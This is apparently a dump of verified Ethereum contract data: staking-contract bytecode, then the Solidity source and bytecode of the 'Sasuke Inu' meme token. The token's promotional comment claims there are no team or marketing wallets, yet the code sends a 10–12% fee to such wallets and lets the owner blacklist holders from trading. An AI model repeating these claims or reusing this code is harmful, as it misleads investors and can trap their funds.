00160a01b03841660009081526003602052604090205490915081121561044e576040805162461bcd60e51b81526020600482015260166024820152756469766964656e642063616c63206f766572666c6f7760501b604482015290519081900360640190fd5b6001600160a01b03831660009081526003602052604090205461047d908203600160401b63ffffffff610ed516565b9150505b919050565b60045481565b6009541580159061049e575060095442115b6104ea576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b336000908152600260205260409020548111156105385760405162461bcd60e51b815260040180806020018281038252602f815260200180611590602f913960400191505060405180910390fd5b336000908152600a6020908152604080832060029092529091205461056d9190610568818563ffffffff610f1716565b610f59565b60055461058790600b90610568818563ffffffff610f1716565b610598610593336103af565b610736565b336000908152600260205260409020548114156105c7576006546105c390600163ffffffff610f1716565b6006555b6005546105da908263ffffffff610f1716565b600555336000908152600260205260409020546105fd908263ffffffff610f1716565b336000908152600260205260409020819055600754610626916103e0919063ffffffff610e2316565b3360008181526003602090815260408083209490945560015484516323b872dd60e01b815230600482015260248101949094526044840186905293516001600160a01b03909416936323b872dd93606480820194918390030190829087803b15801561069157600080fd5b505af11580156106a5573d6000803e3d6000fd5b505050506040513d60208110156106bb57600080fd5b50516106f85760405162461bcd60e51b815260040180806020018281038252602681526020018061156a6026913960400191505060405180910390fd5b604080513381526020810183905281517fb9d33f227f3fa1826b0e39a934bcee3835b3332a74d0b2c2589ec8fc94c2b11f929181900390910190a150565b60095415801590610748575060095442115b610794576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b8061079e336103af565b10156107db5760405162461bcd60e51b81526004018080602001828103825260348152602001806114eb6034913960400191505060405180910390fd5b6107f26103e082600160401b63ffffffff610e2316565b336000818152600360205260408082208054949094019093559151909183156108fc02918491818181858888f19350505050158015610835573d6000803e3d6000fd5b50604080513381526020810183905281517fbace9fd79d5ea02ed8b43fa96af07e4e8f859a2f71ff878c748f5c22c5780284929181900390910190a150565b61087c6110a7565b6000546001600160a01b039081169116146108de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600955565b6001600160a01b0382166000908152600a602052604081205461091f57506001600160a01b038216600090815260026020526040902054610944565b6001600160a01b0383166000908152600a6020526040902061094190836110ab565b90505b92915050565b6109526110a7565b6000546001600160a01b039081169116146109b4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60095481565b60055481565b60075481565b60065481565b6000546001600160a01b03165b90565b60095415801590610a38575060095442115b610a84576040805162461bcd60e51b815260206004820152601860248201527729ba30b5b4b733903737ba103cb2ba1039ba30b93a32b21760411b604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ace57600080fd5b505afa158015610ae2573d6000803e3d6000fd5b505050506040513d6020811015610af857600080fd5b50511015610b375760405162461bcd60e51b81526004018080602001828103825260308152602001806115e06030913960400191505060405180910390fd5b33600090815260026020526040902054610b6357600654610b5f90600163ffffffff6111e016565b6006555b610b6c8161123a565b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610bc657600080fd5b505af1158015610bda573d6000803e3d6000fd5b505050506040513d6020811015610bf057600080fd5b5051610c2d5760405162461bcd60e51b81526004018080602001828103825260248152602001806114c76024913960400191505060405180910390fd5b604080513381526020810183905281517fba7a4fcc259e92765d167230b14c7e70479648b69f2a5adcc2b15c372806ec20929181900390910190a150565b600b54600090610c7e5750600554610481565b610c89600b836110ab565b9050610481565b60026020526000908152604090205481565b348015610d0457600454610cbc908263ffffffff6111e016565b600455610cc881611306565b604080513381526020810183905281517f3b5b764958bcf10eae6e214b635b729c52c8a4962688629cf597c3167cca2022929181900390910190a15b50565b610d0f6110a7565b6000546001600160a01b03908116911614610d71576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610db65760405162461bcd60e51b815260040180806020018281038252602681526020018061151f6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60036020526000908152604090205481565b600082610e3257506000610944565b82820282848281610e3f57fe5b04146109415760405162461bcd60e51b81526004018080602001828103825260218152602001806115bf6021913960400191505060405180910390fd5b6000610e91600019600263ffffffff610ed516565b8210610ece5760405162461bcd60e51b81526004018080602001828103825260258152602001806115456025913960400191505060405180910390fd5b5080610481565b600061094183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061138d565b600061094183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142f565b6001600160801b03811115610f6d57600080fd5b6001600160801b03821115610f8157600080fd5b8254610fe05782546000908490610f9b8260018301611489565b81548110610fa557fe5b600091825260209091200180546001600160801b03858116600160801b02600019430182166001600160801b03199093169290921716179055505b8254439084906000198101908110610ff457fe5b6000918252602090912001546001600160801b0316101561106857825460009084906110238260018301611489565b8154811061102d57fe5b600091825260209091200180546001600160801b03848116600160801b024382166001600160801b03199093169290921716179055506110a2565b82546000908490600019810190811061107d57fe5b600091825260209091200180546001600160801b03808516600160801b029116179055505b505050565b3390565b81546000906110bc57506000610944565b8254839060001981019081106110ce57fe5b6000918252602090912001546001600160801b0316821061111e578254839060001981019081106110fb57fe5b600091825260209091200154600160801b90046001600160801b03169050610944565b8260008154811061112b57fe5b6000918252602090912001546001600160801b031682101561115457826000815481106110fb57fe5b8254600090600019015b818111156111af57600060026001838501010490508486828154811061118057fe5b6000918252602090912001546001600160801b0316116111a2578092506111a9565b6001810391505b5061115e565b8482815481106111bb57fe5b600091825260209091200154600160801b90046001600160801b031695945050505050565b600082820183811015610941576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336000908152600a6020908152604080832060029092529091205461126a9190610568818563ffffffff6111e016565b60055461128490600b90610568818563ffffffff6111e016565b600554611297908263ffffffff6111e016565b600555336000908152600260205260409020546112ba908263ffffffff6111e016565b336000908152600260205260408120919091556007546112e0908363ffffffff610e2316565b90506112eb81610e7c565b33600090815260036020526040902080549190910190555050565b6005541561137457600854156113325760085461132a90829063ffffffff6111e016565b600060085590505b60055461136c9061135d9061135184600160401b63ffffffff610e2316565b9063ffffffff610ed516565b6007549063ffffffff6111e016565b600755610d04565b600854611387908263ffffffff6111e016565b60085550565b600081836114195760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113de5781810151838201526020016113c6565b50505050905090810190601f16801561140b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161142557fe5b0495945050505050565b600081848411156114815760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113de5781810151838201526020016113c6565b505050900390565b8154818355818111156110a2576000838152602090206110a2918101908301610a2391905b808211156114c257600081556001016114ae565b509056fe5374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f74207769746864726177206d6f7265206469766964656e6473207468616e20796f752068617665206561726e65642e4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f766572666c6f772e2043616e6e6f7420636f6e766572742075696e7420746f20696e742e556e7374616b65206661696c65642064756520746f206661696c6564207472616e736665722e43616e6e6f7420756e7374616b65206d6f726520546f6b656e207468616e20796f752068617665207374616b65642e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616e6e6f74207374616b65206d6f726520546f6b656e73207468616e20796f7520686f6c6420756e7374616b65642ea265627a7a7231582033cbafb9f66cfd34b31700e7f638b52647e4d5f88884b03ab13d15e316b91dc664736f6c63430005100032
{"success": true, "error": null, "results": {}}
3,041
0x2ec661fd8729a3494a3750259b3cc017286e00a0
/** *Submitted for verification at Etherscan.io on 2021-06-17 */ /* Welcome to the Sasuke Inu Contract! Website: https://sasukeinu.com/ Twitter: https://twitter.com/SasukeInu_com Telegram: https://t.me/sasukeinu Token Information 1- 1,000,000,000,000 Total Supply 2- Buy limit lifted after launch 3- 5% redistribution to holders on all buys 4- Redistribution actually works! -No presale -Anti-whale buy/sell limits -Anti-sniper & Anti-bot scripting -No team token -30% initial burn -Fair Launch -LP Lock -Renounce -Buy Limit -Cooldown -Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. -No Team & Marketing wallet. 100% of the tokens will come on the market for trade. -No presale wallets that can dump on the community. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SasukeInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sasuke Inu"; string private constant _symbol = "SASUKE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _teamFee = 12; _taxFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (2 minutes); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f536173756b6520496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f534153554b450000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff